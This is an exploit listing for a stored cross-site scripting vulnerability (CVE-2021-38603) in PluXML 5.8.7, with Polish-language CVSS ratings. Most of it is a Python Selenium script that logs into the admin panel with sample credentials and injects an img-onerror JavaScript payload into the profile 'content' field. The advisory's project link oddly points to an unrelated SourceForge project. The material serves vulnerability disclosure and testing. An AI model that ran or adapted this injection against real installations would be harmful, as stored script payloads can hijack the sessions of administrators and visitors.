PluXML 5.8.7 Cross Site Scripting

2021.08.13
Credit: nu11secur1ty
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


Ogólna skala CVSS: 3.5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 6.8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Jednorazowa
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

# Exploit Title: XSS-Stored on PluXML 5.8.7 - latest parameter "id_content" # Author: nu11secur1ty # Testing and Debugging: nu11secur1ty # Date: 08.13.2021 # Vendor: https://pluxml.org/ # Link: https://sourceforge.net/projects/chikitsa/ # CVE: CVE-2021-38603 [+] Exploit Source: #!/usr/bin/python3 # Author: @nu11secur1ty # Debug and Developement: @nu11secur1ty # CVE-2021-38603 from selenium import webdriver import time #enter the link to the website you want to automate login. website_link=" http://192.168.1.120/PluXml/core/admin/auth.php?p=/PluXml/core/admin/" #enter your login username username="nu11" #enter your login password password="password" #enter the element for username input field element_for_username="login" #enter the element for password input field element_for_password="password" #enter the element for submit button element_for_submit="blue" browser = webdriver.Chrome() browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_class_name(element_for_submit) signInButton.click() ## Vulnerability parameter in profil.php "id_content" ## NOTE: The same problem is in the demo account in the online version ## https://www.softaculous.com/softaculous/demos/PluXml time.sleep(3) browser.maximize_window() browser.get(("http://192.168.1.120/PluXml/core/admin/profil.php")) ## The Exploit browser.execute_script("document.querySelector('[name=\"content\"]').value=\"</span><img src= https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif <a href=http://example.com/> onerror=alert(1) /><span>\"") ## submit the exploit browser.execute_script("document.querySelector('[name=\"profil\"]').click()") # exit if you want :D browser.close() print("The payload for CVE CVE-2021-38603 is deployed...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") ---------------------------------------------------------------------------------------- # Reproduce: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38603 # Proof: https://streamable.com/5rf36u # BR nu11secur1ty


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